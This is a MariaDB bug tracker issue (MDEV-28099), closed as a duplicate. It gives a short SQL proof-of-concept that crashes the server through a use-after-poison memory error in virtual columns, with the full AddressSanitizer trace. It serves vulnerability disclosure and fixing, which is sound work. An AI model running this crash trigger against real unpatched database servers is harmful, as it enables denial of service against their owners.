Uploaded image for project: 'MariaDB Server'
  1. MariaDB Server
  2. MDEV-28099

MariaDB UAP issue

    XMLWordPrintable

Details

    • Bug
    • Status: Closed (View Workflow)
    • Blocker
    • Resolution: Duplicate
    • 10.5, 10.6, 10.9.0, 10.2(EOL), 10.3(EOL), 10.4(EOL), 10.7(EOL)
    • 10.3.35, 10.4.25, 10.5.16, 10.6.8, 10.7.4
    • Virtual Columns
    • None
    • Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

    Description

      PoC:

      CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY ) ; 
      DROP EVENT IF EXISTS v0 ; 
      UPDATE v0 SET v1 = -1 WHERE v1 = 'x' ORDER BY 'x' DESC LIMIT 93 ; 
      ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , '' , 'x' 'x' 'x' ) ) UNIQUE ) ;
       UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) ) ;
       INSERT IGNORE INTO v0 SET v1 = ( '' ) + ( ( 'x' / NULL = INET_ATON ( ( v1 OR 'x' ) ) ) ) ;
      

      report (compiled with ASAN):

      =================================================================
      ==9569==ERROR: AddressSanitizer: use-after-poison on address 0x629000088404 at pc 0x0000009086a1 bp 0x7f2f01fad0d0 sp 0x7f2f01fad0c8
      READ of size 1 at 0x629000088404 thread T14
          #0 0x9086a0 in Binary_string::free_buffer() /root/mariadb/sql/sql_string.h:224:9
          #1 0x9086a0 in Binary_string::free() /root/mariadb/sql/sql_string.h:680:5
          #2 0x9086a0 in Binary_string::~Binary_string() /root/mariadb/sql/sql_string.h:271:5
          #3 0x9086a0 in Arg_comparator::~Arg_comparator() /root/mariadb/sql/item_cmpfunc.h:45:7
          #4 0x171733a in Item_bool_rowready_func2::~Item_bool_rowready_func2() /root/mariadb/sql/item_cmpfunc.h:535:7
          #5 0x171733a in Item_func_eq::~Item_func_eq() /root/mariadb/sql/item_cmpfunc.h:751:7
          #6 0xaefe90 in Item::delete_self() /root/mariadb/sql/item.h:2522:5
          #7 0xaefe90 in Query_arena::free_items() /root/mariadb/sql/sql_class.cc:3833:16
          #8 0xaefe90 in THD::cleanup_after_query() /root/mariadb/sql/sql_class.cc:2292:3
          #9 0xc41ba9 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool) /root/mariadb/sql/sql_parse.cc:1894:7
          #10 0xc4b74b in do_command(THD*, bool) /root/mariadb/sql/sql_parse.cc:1402:17
          #11 0x111f9f2 in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql/sql_connect.cc:1418:11
          #12 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:1312:5
          #13 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3
          #14 0x7f2f26f57608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477:8
          #15 0x7f2f26c6d162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
       
      0x629000088404 is located 4612 bytes inside of 16400-byte region [0x629000087200,0x62900008b210)
      allocated by thread T14 here:
          #0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)
          #1 0x2a76878 in my_malloc /root/mariadb/mysys/my_malloc.c:90:29
          #2 0x2a582eb in root_alloc /root/mariadb/mysys/my_alloc.c:66:10
          #3 0x2a582eb in reset_root_defaults /root/mariadb/mysys/my_alloc.c:243:30
          #4 0xae83b5 in THD::init_for_queries() /root/mariadb/sql/sql_class.cc:1393:3
          #5 0x111e580 in prepare_new_connection_state(THD*) /root/mariadb/sql/sql_connect.cc:1240:8
          #6 0x1120266 in thd_prepare_connection(THD*) /root/mariadb/sql/sql_connect.cc:1333:3
          #7 0x111f8cc in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql/sql_connect.cc:1408:9
          #8 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:1312:5
          #9 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3
          #10 0x7f2f26f57608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477:8
       
      Thread T14 created by T0 here:
          #0 0x7f9cfc in pthread_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)
          #1 0x1f3fd39 in my_thread_create(unsigned long*, pthread_attr_t const*, void* (*)(void*), void*) /root/mariadb/storage/perfschema/my_thread.h:52:10
          #2 0x1f3fd39 in pfs_spawn_thread_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15
          #3 0x85cef4 in inline_mysql_thread_create(unsigned int, unsigned long*, pthread_attr_t const*, void* (*)(void*), void*) /root/mariadb/include/mysql/psi/mysql_thread.h:1139:11
          #4 0x85cef4 in create_thread_to_handle_connection(CONNECT*) /root/mariadb/sql/mysqld.cc:5975:19
          #5 0x85e72a in create_new_thread(CONNECT*) /root/mariadb/sql/mysqld.cc:6034:3
          #6 0x85e72a in handle_accepted_socket(st_mysql_socket, st_mysql_socket) /root/mariadb/sql/mysqld.cc:6096:5
          #7 0x85a34c in handle_connections_sockets() /root/mariadb/sql/mysqld.cc:6220:9
          #8 0x84e9ef in mysqld_main(int, char**) /root/mariadb/sql/mysqld.cc:5870:3
          #9 0x7f2f26b720b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
       
      SUMMARY: AddressSanitizer: use-after-poison /root/mariadb/sql/sql_string.h:224:9 in Binary_string::free_buffer()
      Shadow bytes around the buggy address:
        0x0c5280009030: 00 f7 00 00 00 f7 00 00 f7 00 00 00 00 00 00 00
        0x0c5280009040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00
        0x0c5280009050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        0x0c5280009060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        0x0c5280009070: 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 f7 f7
      =>0x0c5280009080:[f7]f7 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00
        0x0c5280009090: 00 00 00 00 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
        0x0c52800090a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 00 f7 00
        0x0c52800090b0: 00 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        0x0c52800090c0: 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00 00
        0x0c52800090d0: 00 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00
      Shadow byte legend (one shadow byte represents 8 application bytes):
        Addressable:           00
        Partially addressable: 01 02 03 04 05 06 07 
        Heap left redzone:       fa
        Freed heap region:       fd
        Stack left redzone:      f1
        Stack mid redzone:       f2
        Stack right redzone:     f3
        Stack after return:      f5
        Stack use after scope:   f8
        Global redzone:          f9
        Global init order:       f6
        Poisoned by user:        f7
        Container overflow:      fc
        Array cookie:            ac
        Intra object redzone:    bb
        ASan internal:           fe
        Left alloca redzone:     ca
        Right alloca redzone:    cb
        Shadow gap:              cc
      ==9569==ABORTING
      

      Attachments

        Issue Links

          Activity

            People

              serg Sergei Golubchik
              fuboat Jingzhou Fu
              Votes:
              0 Vote for this issue
              Watchers:
              3 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved:

                Git Integration

                  Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.